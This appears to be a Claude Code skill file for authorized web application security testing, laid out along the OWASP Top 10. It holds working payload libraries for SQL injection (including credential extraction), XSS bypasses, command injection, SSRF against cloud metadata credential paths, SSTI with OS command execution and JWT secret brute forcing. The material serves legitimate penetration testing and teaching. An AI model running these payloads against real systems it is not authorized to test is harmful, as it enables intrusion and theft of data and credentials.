09 web security
Skill Masriyan/Claude-Code-CyberSecurity-Skill/skills/09-web-security
A comprehensive collection of 15 Claude Code Skills for cybersecurity professionals ,covering offensive security, defensive operations, reverse engineering, threat hunting, CSOC automation, and more
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OWASP Top 10 testing, injection vulnerability detection, API security assessment, authentication testing, and web vulnerability reporting for authorized assessments
SKILL.md
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Web Application Security Testing
Purpose
Enable Claude to assist with comprehensive web application security assessments covering OWASP Top 10, injection testing, API security, authentication analysis, and client-side security. Claude analyzes application behavior, generates test payloads, reviews source code, and produces structured vulnerability reports.
Authorization Required: All testing must be performed on authorized targets only. Confirm scope and written authorization before testing.
Activation Triggers
This skill activates when the user asks about:
- OWASP Top 10 testing or assessment methodology
- SQL injection, XSS, SSRF, SSTI, command injection testing
- API security testing (REST, GraphQL, SOAP)
- Authentication bypass, session management flaws
- Web application firewall (WAF) bypasses for authorized testing
- CORS, CSP, or security header analysis
- OAuth/OIDC security review
- JWT analysis or manipulation
- Burp Suite or OWASP ZAP usage guidance
- Web vulnerability report writing
Prerequisites
pip install requests beautifulsoup4 urllib3 lxml
Recommended tools:
Burp Suite Community/Pro— Web proxy and scannerOWASP ZAP— Open-source web scannersqlmap— Automated SQL injection (authorized use only)Nikto— Web server scannerffuf / feroxbuster— Web fuzzerjwt_tool— JWT analysis and manipulation
Core Capabilities
1. OWASP Top 10 Assessment
When the user asks to assess for OWASP Top 10 vulnerabilities:
| # | Vulnerability | Claude's Assessment Approach |
|---|---|---|
| A01 | Broken Access Control | Test IDOR, path traversal, forced browsing, privilege escalation |
| A02 | Cryptographic Failures | Audit TLS, check sensitive data exposure, weak algorithms |
| A03 | Injection | Test all inputs for SQLi, NoSQLi, OS command, LDAP, SSTI |
| A04 | Insecure Design | Review architecture for missing security controls |
| A05 | Security Misconfiguration | Check defaults, error disclosure, directory listing, debug mode |
| A06 | Vulnerable Components | Audit third-party libraries and framework versions |
| A07 | Auth & ID Failures | Test session management, brute force, MFA, credential storage |
| A08 | Software & Data Integrity | Check update mechanisms, deserialization, CI/CD security |
| A09 | Logging & Monitoring Failures | Verify logging coverage and alerting |
| A10 | SSRF | Test URL parameters, webhooks, import functionality |
2. Injection Testing
When the user asks to test for injection vulnerabilities:
Input Discovery — Map all injection points:
GET/POST parameters
URL path segments (/users/INJECT/profile)
HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie)
JSON body fields {"name": "INJECT"}
XML body fields <name>INJECT</name>
GraphQL variables {query: "{ user(name: \"INJECT\") }"}
File upload names and metadata
SQL Injection Testing Methodology:
Step 1: Detection — Test for error-based confirmation
' → SQL error = likely vulnerable
' OR '1'='1 → true condition
' OR '1'='2 → false condition
' AND SLEEP(5)-- - → time delay = blind SQLi
Step 2: Fingerprint the database
' AND 1=CONVERT(int,@@version)-- - → MSSQL version
' AND 1=1 UNION SELECT @@version-- - → MySQL
' AND 1=(SELECT 1 FROM dual)-- - → Oracle
Step 3: Extraction (authorized PoC only)
' UNION SELECT null,username,password,null FROM users-- -
SQLi Payload Library:
-- Basic detection
'
''
`
')
'))
' OR '1'='1'--
' OR 1=1--
" OR "1"="1
' OR 'x'='x
-- MySQL time-based blind
' AND SLEEP(5)-- -
' OR SLEEP(5)=0-- -
-- MSSQL time-based blind
'; WAITFOR DELAY '0:0:5'-- -
-- PostgreSQL time-based blind
'; SELECT pg_sleep(5)-- -
-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- UNION enumeration
' ORDER BY 1-- - (increment until error to find column count)
' UNION SELECT null-- -
' UNION SELECT null,null-- -
' UNION SELECT null,null,null-- -
XSS Testing Methodology:
Step 1: Find reflection points
Input: test123 → Search in source for "test123"
What HTML context is it in?
• HTML content: <p>test123</p>
• Attribute: <input value="test123">
• JavaScript: var x = "test123";
• URL: href="test123"
Step 2: Test basic payload for context
HTML content: <script>alert(1)</script>
Attribute: " onmouseover="alert(1)
JavaScript: ";alert(1);//
URL: javascript:alert(1)
Step 3: Bypass filters
Case variation: <ScRiPt>alert(1)</ScRiPt>
No parentheses: <img src=x onerror=alert`1`>
No script tag: <img src=x onerror=alert(document.domain)>
SVG: <svg onload=alert(1)>
Template: {{constructor.constructor('alert(1)')()}}
Command Injection Testing:
# Linux injection separators
; id
| id
& id
&& id
`id`
$(id)
%0aid
# Windows injection separators
& whoami
| whoami
; dir
%26 dir
# Blind detection via time delay
; sleep 5
| timeout 5
& ping -n 5 127.0.0.1
# Blind detection via DNS callback (use Burp Collaborator or interactsh)
; nslookup YOUR-CALLBACK-DOMAIN.com
SSRF Testing Methodology:
Step 1: Find URL input points
- Import functionality (import from URL)
- Webhooks (send notification to URL)
- Document converters (URL to PDF)
- Image loading from URL
- API calls with URL parameters
Step 2: Test basic SSRF to internal resources
http://127.0.0.1/
http://localhost/
http://192.168.1.1/ # Default gateway
http://169.254.169.254/ # AWS metadata
http://metadata.google.internal/ # GCP metadata
http://[::1]/ # IPv6 localhost
Step 3: Test cloud metadata services (AWS example)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Step 4: SSRF filter bypass techniques
http://[email protected] # URL confusion
http://0177.0.0.1/ # Octal encoding
http://2130706433/ # Decimal encoding
http://[::1]/ # IPv6
http://localhost.evil.com/ # DNS rebinding
SSTI Testing:
# Universal detection probes
{{7*7}} → 49 (Jinja2, Twig, Freemarker)
${7*7} → 49 (FreeMarker, Velocity, Mako)
<%= 7*7 %> → 49 (ERB/Ruby)
#{7*7} → 49 (Pug/Jade)
# Jinja2 (Python Flask) — confirm RCE path
{{config}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Twig (PHP Symfony)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
3. API Security Testing
When the user asks to test API security:
API Test Checklist:
Authentication:
[ ] Endpoints accessible without token? (missing auth)
[ ] JWT validation: alg:none attack, weak secret, expired token accepted?
[ ] API keys in URL parameters (logged in proxy logs)
[ ] Basic auth over HTTP (not HTTPS)
Authorization:
[ ] BOLA — Change object ID to access other users' data
GET /api/users/123/orders → try /api/users/124/orders
[ ] Mass assignment — POST with extra privileged fields
{"username":"user","role":"admin","isAdmin":true}
[ ] Function-level access — access admin endpoints as regular user
GET /api/admin/users (as non-admin)
Input Validation:
[ ] SQL injection in API parameters
[ ] JSON injection in body
[ ] Rate limiting — rapid requests cause DoS or bypass?
[ ] Request body schema — what happens with extra/unexpected fields?
Data Exposure:
[ ] Response contains sensitive fields not needed by client?
[ ] User A can see User B's PII?
[ ] Error messages reveal internal structure?
[ ] Debug endpoints exposed? /api/debug, /api/swagger, /api/docs
GraphQL-specific tests:
# Introspection — should be disabled in production
{ __schema { types { name fields { name } } } }
# Batch query abuse
[{"query":"{ user(id:1) { name } }"},
{"query":"{ user(id:2) { name } }"},
...repeated 1000 times...]
# Circular query DoS
{ user { friends { friends { friends { name } } } } }
JWT Analysis:
# Decode JWT without verification
jwt_tool JWT_TOKEN_HERE -d
# Test alg:none attack
jwt_tool JWT_TOKEN_HERE -X a
# Test algorithm confusion (RS256 to HS256)
jwt_tool JWT_TOKEN_HERE -X k -pk public.pem
# Brute force weak secret
jwt_tool JWT_TOKEN_HERE -C -d /usr/share/wordlists/rockyou.txt
4. Authentication & Session Testing
When the user asks to test authentication:
Session Token Analysis:
Entropy check:
[ ] Token length sufficient? (≥128 bits recommended)
[ ] Token appears random? (not predictable, sequential, or time-based)
[ ] Test: collect 10+ tokens, check for patterns
Session management:
[ ] Session invalidated on logout? (test by reusing old token)
[ ] Session invalidated on password change?
[ ] Concurrent session limits? (same user, multiple locations)
[ ] Session fixation: set your own session ID before auth, does it persist?
[ ] Secure and HttpOnly flags on session cookie?
[ ] SameSite attribute set? (CSRF protection)
Password security:
[ ] Minimum complexity enforced?
[ ] Account lockout after N failed attempts?
[ ] Password exposed in HTTP response or logs?
[ ] Forgot password link single-use and time-limited?
[ ] Password reset token in URL? (appears in logs/referer)
OAuth 2.0 Testing:
[ ] State parameter present and validated? (CSRF in OAuth flow)
[ ] Redirect URI strictly validated? (open redirect)
[ ] Authorization code reusable? (should be single-use)
[ ] PKCE implemented for public clients?
[ ] Client secret exposed in JavaScript source?
[ ] Scope validation — can client request broader scopes than expected?
5. Security Headers Assessment
When the user asks to review security headers:
# Check all security headers for a target
import requests
headers_to_check = {
"Strict-Transport-Security": "Required; max-age>=31536000",
"Content-Security-Policy": "Required; restrict sources",
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY or SAMEORIGIN",
"Referrer-Policy": "strict-origin-when-cross-origin",
"Permissions-Policy": "Restrict sensitive features",
"Cache-Control": "no-store for sensitive endpoints",
}
CORS Misconfiguration Tests:
# Test 1: Arbitrary origin reflected
requests.get(url, headers={"Origin": "https://evil.com"})
# Vulnerable if response contains: Access-Control-Allow-Origin: https://evil.com
# Test 2: Null origin
requests.get(url, headers={"Origin": "null"})
# Vulnerable if response contains: Access-Control-Allow-Origin: null
# Test 3: Subdomain bypass
requests.get(url, headers={"Origin": "https://evil.target.com"})
# Vulnerable if attacker can register evil.target.com or use XSS
Vulnerability Report Template
## Web Security Finding: [Title]
**ID:** WEB-[Number]
**Severity:** [Critical / High / Medium / Low / Info]
**CVSS v3.1:** [Score] | [Vector string]
**CWE:** [CWE-ID — CWE Name]
**OWASP:** [A0X — Category]
### Affected Endpoint
**URL:** `https://target.com/api/endpoint`
**Method:** POST
**Parameter:** `id`
### Description
[Clear description of the vulnerability and why it's a risk]
### Reproduction Steps
1. Navigate to `https://target.com/api/endpoint`
2. Send the following request:
POST /api/endpoint HTTP/1.1 Host: target.com Content-Type: application/json
{"id": "1' OR '1'='1"}
3. Observe the response contains [evidence of vulnerability]
### Impact
[Business and technical impact — data exposure, account takeover, RCE, etc.]
### Evidence
[Screenshot description, response snippet, or sanitized PoC output]
### Remediation
[Specific fix with code example if applicable]
Script Reference
owasp_scanner.py
python scripts/owasp_scanner.py --url https://target.com --output report.json
python scripts/owasp_scanner.py --url https://target.com --tests a01,a03,a07
api_security_tester.py
python scripts/api_security_tester.py --spec openapi.yaml --base-url https://api.target.com --output results.json
Skill Integration
| Condition | Adjacent Skill |
|---|---|
| Web apps discovered during recon | ← Skill 01 (Recon & OSINT) |
| Vulnerable components identified | → Skill 02 (Vulnerability Scanner) |
| Develop PoC for confirmed vuln | → Skill 03 (Exploit Development) |
| Generate CSOC alerts for findings | → Skill 11 (CSOC Automation) |
References
- OWASP Top 10 2021
- OWASP Testing Guide v4.2
- OWASP API Security Top 10
- PortSwigger Web Security Academy
- PayloadsAllTheThings
- HackTricks Web Pentesting
v3.0 Enhancements (2026 Update)
Current web & API attack surface:
- OWASP API Security Top 10 (2023) — test BOLA/IDOR (API1), broken authentication (API2), broken object property level authorization / mass assignment (API3), unrestricted resource consumption (API4), and SSRF (API7) as first-class items alongside the web Top 10.
- SSRF → cloud metadata — always attempt cloud IMDS reach (
169.254.169.254, GCPmetadata.google.internal, Azure IMDS) and require IMDSv2/hop-limit defenses (→ Skill 10). - HTTP request smuggling — CL.TE/TE.CL/CL.CL desync and HTTP/2 downgrade smuggling against front-end/back-end pairs.
- JWT & OAuth/OIDC —
alg=none, algorithm confusion (RS256→HS256),kidinjection, weak secrets; OAuth flows: redirect_uri abuse, PKCE downgrade, consent phishing, device-code phishing. - Client-side & template — prototype pollution, DOM clobbering, SSTI per engine, and modern XSS via mutation/sanitizer bypass.
- GraphQL — introspection abuse, batching/DoS, nested-query depth, and field-level authorization gaps.
Precision rule: each finding ships a reproducible request/response, the affected parameter, and a parameterized/encoded fix at the correct sink.